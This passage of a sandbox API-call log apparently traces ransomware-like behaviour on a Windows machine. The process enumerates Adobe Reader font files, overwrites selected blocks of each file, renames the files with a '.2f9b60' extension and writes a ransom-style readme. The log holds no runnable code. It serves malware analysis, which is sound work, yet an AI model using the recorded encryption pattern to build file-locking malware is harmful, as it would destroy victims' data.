returned 0x1b858f70 [0194.880] wcscat (in: _Dest=0x42c22cf0, _Source="2cfcf157a0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2cfcf157a0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2cfcf157a0" [0194.880] wcscat (in: _Dest=0x42c22cf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2cfcf157a0.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2cfcf157a0.2f9b60" [0194.880] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2cfcf157a0.2f9b60", NtPathName=0x3d8af8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2cfcf157a0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0194.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431f2720 [0203.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2720) returned 1 [0203.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f0160) returned 1 [0203.433] NtQueryInformationFile (in: FileHandle=0xff4, IoStatusBlock=0x3d8af958, FileInformation=0x3d8af968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d8af958, FileInformation=0x3d8af968) returned 0x0 [0203.433] NtSetInformationFile (FileHandle=0xff4, IoStatusBlock=0x3d8af958, FileInformation=0x3d8af968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0206.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22cf0) returned 1 [0206.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858f70) returned 1 [0206.327] FlushFileBuffers (hFile=0xff4) returned 1 [0206.329] CloseHandle (hObject=0xff4) returned 1 [0209.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43183e40 [0209.064] wcscpy (in: _Dest=0x43183e40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0209.064] wcscat (in: _Dest=0x43183e40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2F9B60-Readme.txt" [0209.064] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\2f9b60-readme.txt")) returned 0xffffffff [0209.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x139c [0216.619] WriteFile (in: hFile=0x139c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3d8af810, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3d8af810*=0xba9, lpOverlapped=0x0) returned 1 [0220.312] CloseHandle (hObject=0x139c) returned 1 [0224.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43183e40) returned 1 [0224.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d2f0) returned 1 Thread: id = 2712 os_tid = 0x22cc [0157.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebe780 [0157.787] wcscpy (in: _Dest=0x1cebe780, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0157.787] wcscat (in: _Dest=0x1cebe780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0157.787] wcscat (in: _Dest=0x1cebe780, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*" [0157.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f170 [0157.787] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd87030 [0165.249] wcscmp (_String1=".", _String2=".") returned 0 [0165.249] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.847] wcscmp (_String1="..", _String2=".") returned 1 [0165.847] wcscmp (_String1="..", _String2="..") returned 0 [0165.847] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="ADOBEA~2.OTF")) returned 1 [0165.847] wcscmp (_String1="AdobeArabic-Bold.otf", _String2=".") returned 1 [0165.847] wcscmp (_String1="AdobeArabic-Bold.otf", _String2="..") returned 1 [0165.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205064f0 [0165.847] wcscpy (in: _Dest=0x205064f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0165.847] wcscat (in: _Dest=0x205064f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0165.847] wcscat (in: _Dest=0x205064f0, _Source="AdobeArabic-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" [0165.848] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bold.otf")) returned 0x20 [0165.938] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf", dwFileAttributes=0x20) returned 1 [0166.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bold.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a2c [0166.974] GetFileSizeEx (in: hFile=0x2a2c, lpFileSize=0x3d4efa20 | out: lpFileSize=0x3d4efa20*=228988) returned 1 [0166.974] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x37e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.974] ReadFile (in: hFile=0x2a2c, lpBuffer=0x3d4ef9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d4ef9e8, lpOverlapped=0x0 | out: lpBuffer=0x3d4ef9a0*, lpNumberOfBytesRead=0x3d4ef9e8*=0x4, lpOverlapped=0x0) returned 1 [0166.993] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f10 [0166.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3df0 [0166.994] NtQuerySystemTime (in: CurrentTime=0x3d4ef8e0 | out: CurrentTime=0x3d4ef8e0*=132462177721066000) returned 0x0 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3f0fff1f [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x27d6b57b [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x7923050a [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x310dee30 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x7b57d9d4 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x4742b61c [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x5fc4e2b7 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x32a3fe03 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x263528b0 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x615c0ed9 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3cb6d820 [0166.994] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x7a6f0e72 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x4dfe8d31 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x4b203dbd [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x19fd5980 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x6131fa2e [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3dbc4fa2 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x29c008c3 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x74fb70e [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x6ffd7fce [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x6e86aad7 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x1c5efe7c [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x43de3316 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x7d41ad41 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x130e2f23 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x683a1933 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x3fc8cff7 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x5b93b29a [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x2a7c687a [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x14ce27ee [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x61fab8f5 [0166.995] RtlRandomEx (in: Seed=0x3d4ef8d0 | out: Seed=0x3d4ef8d0) returned 0x651f37f [0167.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3dc0 [0167.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec63a0 [0167.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d00 [0167.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec63a0) returned 1 [0167.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3df0) returned 1 [0167.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0167.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b2a520 [0167.007] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.007] ReadFile (in: hFile=0x2a2c, lpBuffer=0x41b2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x41b2a520*, lpNumberOfBytesRead=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0167.013] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18910 [0167.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec63a0 [0167.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3df0 [0167.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3df0) returned 1 [0167.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b44990 [0167.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3df0 [0167.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e80 [0167.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e80) returned 1 [0167.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec63a0) returned 1 [0167.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18910) returned 1 [0167.015] WriteFile (in: hFile=0x2a2c, lpBuffer=0x41b44990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x41b44990*, lpNumberOfBytesWritten=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0198.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b44990) returned 1 [0198.811] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.812] ReadFile (in: hFile=0x2a2c, lpBuffer=0x41b2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x41b2a520*, lpNumberOfBytesRead=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0199.172] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265550 [0199.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265550) returned 1 [0199.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d830d0 [0199.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265550 [0199.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0199.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0199.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.176] WriteFile (in: hFile=0x2a2c, lpBuffer=0x42d830d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x42d830d0*, lpNumberOfBytesWritten=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0210.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d830d0) returned 1 [0210.019] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x3427c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.019] ReadFile (in: hFile=0x2a2c, lpBuffer=0x41b2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x41b2a520*, lpNumberOfBytesRead=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0211.611] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x3427c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0211.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba960 [0211.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d720 [0211.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d720) returned 1 [0211.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d86ce0 [0211.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d720 [0211.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050db70 [0211.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050db70) returned 1 [0211.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba960) returned 1 [0211.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0211.614] WriteFile (in: hFile=0x2a2c, lpBuffer=0x42d86ce0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d4ef940, lpOverlapped=0x0 | out: lpBuffer=0x42d86ce0*, lpNumberOfBytesWritten=0x3d4ef940*=0x3c00, lpOverlapped=0x0) returned 1 [0215.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d86ce0) returned 1 [0215.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105b40 [0215.174] SetFilePointerEx (in: hFile=0x2a2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.174] WriteFile (in: hFile=0x2a2c, lpBuffer=0x4310ea00*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x3d4ef9f0, lpOverlapped=0x0 | out: lpBuffer=0x4310ea00*, lpNumberOfBytesWritten=0x3d4ef9f0*=0x15a, lpOverlapped=0x0) returned 1 [0218.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0218.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82afc0 [0218.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82afc0) returned 1 [0218.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82afc0 [0218.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0218.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aea0 [0218.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aea0) returned 1 [0219.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0219.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858f10 [0219.001] sprintf (in: _Dest=0x1b858f10, _Format="%c%c" | out: _Dest="0c") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f12, _Format="%c%c" | out: _Dest="d7") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f14, _Format="%c%c" | out: _Dest="19") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f16, _Format="%c%c" | out: _Dest="50") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f18, _Format="%c%c" | out: _Dest="9e") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f1a, _Format="%c%c" | out: _Dest="88") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f1c, _Format="%c%c" | out: _Dest="7e") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f1e, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f20, _Format="%c%c" | out: _Dest="ce") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f22, _Format="%c%c" | out: _Dest="83") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f24, _Format="%c%c" | out: _Dest="c0") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f26, _Format="%c%c" | out: _Dest="ae") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f28, _Format="%c%c" | out: _Dest="0a") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f2a, _Format="%c%c" | out: _Dest="71") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f2c, _Format="%c%c" | out: _Dest="a6") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f2e, _Format="%c%c" | out: _Dest="f7") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f30, _Format="%c%c" | out: _Dest="29") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f32, _Format="%c%c" | out: _Dest="c1") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f34, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f36, _Format="%c%c" | out: _Dest="49") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f38, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f3a, _Format="%c%c" | out: _Dest="19") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f3c, _Format="%c%c" | out: _Dest="7b") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f3e, _Format="%c%c" | out: _Dest="14") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f40, _Format="%c%c" | out: _Dest="e9") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f42, _Format="%c%c" | out: _Dest="02") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f44, _Format="%c%c" | out: _Dest="0f") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f46, _Format="%c%c" | out: _Dest="89") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f48, _Format="%c%c" | out: _Dest="83") returned 2 [0219.001] sprintf (in: _Dest=0x1b858f4a, _Format="%c%c" | out: _Dest="89") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f4c, _Format="%c%c" | out: _Dest="16") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f4e, _Format="%c%c" | out: _Dest="77") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f50, _Format="%c%c" | out: _Dest="c8") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f52, _Format="%c%c" | out: _Dest="7b") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f54, _Format="%c%c" | out: _Dest="f3") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f56, _Format="%c%c" | out: _Dest="4c") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f58, _Format="%c%c" | out: _Dest="86") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f5a, _Format="%c%c" | out: _Dest="2e") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f5c, _Format="%c%c" | out: _Dest="58") returned 2 [0219.002] sprintf (in: _Dest=0x1b858f5e, _Format="%c%c" | out: _Dest="71") returned 2 [0219.002] RtlInitAnsiString (in: DestinationString=0x3d4efa68, SourceString="0cd719509e887e5bce83c0ae0a71a6f729c1fa49fa197b14e9020f8983891677c87bf34c862e5871" | out: DestinationString="0cd719509e887e5bce83c0ae0a71a6f729c1fa49fa197b14e9020f8983891677c87bf34c862e5871") [0219.002] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d4efa38, SourceString="0cd719509e887e5bce83c0ae0a71a6f729c1fa49fa197b14e9020f8983891677c87bf34c862e5871", AllocateDestinationString=1 | out: DestinationString="0cd719509e887e5bce83c0ae0a71a6f729c1fa49fa197b14e9020f8983891677c87bf34c862e5871") returned 0x0 [0219.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x4315ed50 [0219.002] wcscat (in: _Dest=0x4315eca0, _Source="0cd719509e887e5bce83" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\0cd719509e887e5bce83") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\0cd719509e887e5bce83" [0219.002] wcscat (in: _Dest=0x4315eca0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\0cd719509e887e5bce83.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\0cd719509e887e5bce83.2f9b60" [0219.002] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\0cd719509e887e5bce83.2f9b60", NtPathName=0x3d4efa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\0cd719509e887e5bce83.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.002] RtlAllocateHeap 